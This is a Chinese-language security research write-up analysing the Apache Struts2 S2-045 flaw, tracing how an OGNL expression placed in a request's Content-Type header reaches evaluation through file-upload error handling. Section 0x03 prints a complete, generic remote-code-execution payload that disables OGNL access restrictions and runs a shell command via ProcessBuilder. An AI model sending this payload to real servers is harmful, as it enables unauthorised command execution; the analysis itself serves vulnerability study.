作者:lucifaer
作者博客:https://www.lucifaer.com/

S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。

0x00 漏洞描述

Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

-w756

从漏洞简述中可以得知是struts在处理Content-Type时如果获得未期预的值的话,将会爆出一个异常,在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在使用基于Jakarta Multipart解析器来处理文件上传时,可能会造成RCE。

Jakarta Multipart解析器在Struts2中存在于org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest是默认组件之一,首先把这一点记录下来。

接下来看一下diff:

img

可以看到关键点在于首先判断validation是否为空,若为空的话则跳过处理。可见关键点在于对于validation的处理。

0x01 整体触发流程

MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 处理requests请求
  JakartaMultiPartRequest$parse:67 # 处理上传请求,捕捉上传异常
    JakartaMultiPartRequest$processUpload:91 # 解析请求
      JakartaMultiPartRequest$parseRequest:147 # 创建请求报文解析器,解析上传请求
        JakartaMultiPartRequest$createRequestContext # 实例化报文解析器
      FileUploadBase$parseRequest:334 # 处理符合multipart/form-data的流数据
        FileUploadBase$FileItemIteratorImpl:945 # 抛出ContentType错误的异常,并把错误的ContentType添加到报错信息中
  JakartaMultiPartRequest$parse:68 # 处理文件上传异常
    AbstractMultiPartRequest$buildErrorMessage:102 # 构建错误信息
      LocalizedMessage$LocalizedMessage:35 # 构造函数赋值
FileUploadInterceptor$intercept:264 # 进入文件上传处理流程,处理文件上传报错信息
  LocalizedTextUtil$findText:391 # 查找本地化文本消息
  LocalizedTextUtil$findText:573 # 获取默认消息
    # 以下为ognl表达式的提取与执行过程
    LocalizedTextUtil$getDefaultMessage:729
      TextParseUtil$translateVariables:44
        TextParseUtil$translateVariables:122
          TextParseUtil$translateVariables:166
            TextParser$evaluate:11
            OgnlTextParser$evaluate:10

0x02 漏洞分析

2.1 漏洞触发点

根据diff所得结果,跟进validation的执行流程,就如漏洞描述中所述,validation的调用位于Struts2的FileUploadInterceptor也就是处理文件上传的拦截器中。

img

跟进LocalizedTextUtil.findText

img

这边先不着急向下跟,首先看一下valueStack的内容是什么:

img

img

img

通过键值关系从ActionContext中返回ognl的堆栈结构,也就是说valueStack和ognl的执行相关。

接下来跟进findText方法,着重跟一下valueStack,可以发现主要是以下方法调用到该值:

findMessage()
getMessage()
getDefaultMessage()
ReflectionProviderFactory.getInstance().getRealTarget()

先不管ReflectionProviderFactory.getInstance().getRealTarget()findMessage()在执行过程中都会调用到getMessage(),而在getMessage()getDefaultMessage()中都存在buildMessageFormat()方法,该方法用于消息的格式化,而格式化的消息是由TextParseUtil.translateVariables()来生成的:

img

这里注意getMessage()方法需要设置bundleName这个参数,而这个参数是由aClass赋值的,而在整个触发流程中aClass是一个File异常类,而这个类在Collections.java中是找不到的,所以在执行过程中,所有的getMessage()findMessage()都是返回null的,也就是说,在整个流程中,只有getDefaultMessage()会被触发。

img

跟一下这个TextParseUtil.translateVariables()的具体实现:

img

img

可以看到首先对defaultMessage进行ognl表达式的提取,之后执行ognl表达式。所以漏洞的触发点就找到了。且触发的关键是构造一个含有ognl表达式的defaultMessage即:

img

2.2 触发流程

网上很多文章并没有说该漏洞的触发流程是什么样的,只是在上面的关键点下了一个断向下调试,所以只是完成了对这个流程的调试而已,并没有完整的把这个漏洞说清楚的原因(浮躁的圈子= =)。

我记录一下我根据单元测试而找到触发流程的过程。

根据2.1的分析,我们现在知道只要调用了org.apache.struts2.interceptor.FileUploadInterceptor$interceptrequest触发错误处理流程,且validation不为空就可以触发ognl表达式的执行。所以首先我开始寻找哪里调用了intercept()这个方法:

img

如上图红框的内容,我找到了针对于FileUploadInterceptor的单元测试,在单元测试中详尽的描述了intercept()的处理流程,跟进看一下我找到了一个有趣的单元测试testInvalidContentTypeMultipartRequest()

img

还记得我们的intercept的处理流程么:

img

也就是说我们需要关心的只有MyFileupAction()与request的处理流程

首先来看一下MyFileupAction()是否是ValidationAware接口的一个实例:

img

img

ok,是ValidationAware一个实现,getAction()方法将setAction()设置的对象返回。接下来我们跟一下req的处理流程:

-> createMultipartRequest(req, 2000)
-> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider())
-> this(multiPartRequest, request, saveDir, provider, false);

img

关键点在于multi.parse(request, saveDir);根据调用栈,可以看到这里是调用了JakartaMultiPartRequest实例的parse()方法:

img

这里注意会捕获FileUploadException异常。

接着跟进processUpload()方法:

img

继续跟进:

img

首先看createRequestContext()对于请求做了哪些处理:

img

返回了一个实例化的RequestContext(),记住该实例有四个内置的方法:

  • getCharacterEncoding()
  • getContentType()
  • getContentLength()
  • getInputStream()

接着跟进parseRequest()

img

跟进getItemIterator()

img

继续跟进:

img

这一段代码首先调用了RequestContext实例的getContentType()方法,该方法就像上面调用栈中所看到的一样,会返回请求的ContentType字段,然后做一个存在性校验,校验ContentType是否为空或并非以multipart开头,如果上述条件成立,则抛出一个错误,并把错误的ContentType加入到报错信息中。这里的InvalidContentTypeException类是继承于FileUploadException的,也就是说会抛出一个FileUploadException的错误。

反过来看JakartaMultiPartRequest的异常捕获逻辑:

img

很有意思,我们直接跟进buildErrorMessage看一下:

img

img

可以看到在这里,我们将包含着我们可以自定义的ContentType赋值给defaultMessage回看2.1所说的漏洞触发点,这里就是我们发送请求将ognl传递到漏洞触发点的defaultMessage

img

img

img

拆分消息中的ognl表达式,并执行:

img

img

img

img

0x03 构造POC

根据上面的分析,我们可以看到构造POC的关键是在发送的请求中构造一个含有ongl表达式的ContentType。较为通用的一个poc如下:

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

效果如下:

img

0x04 Reference


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/767/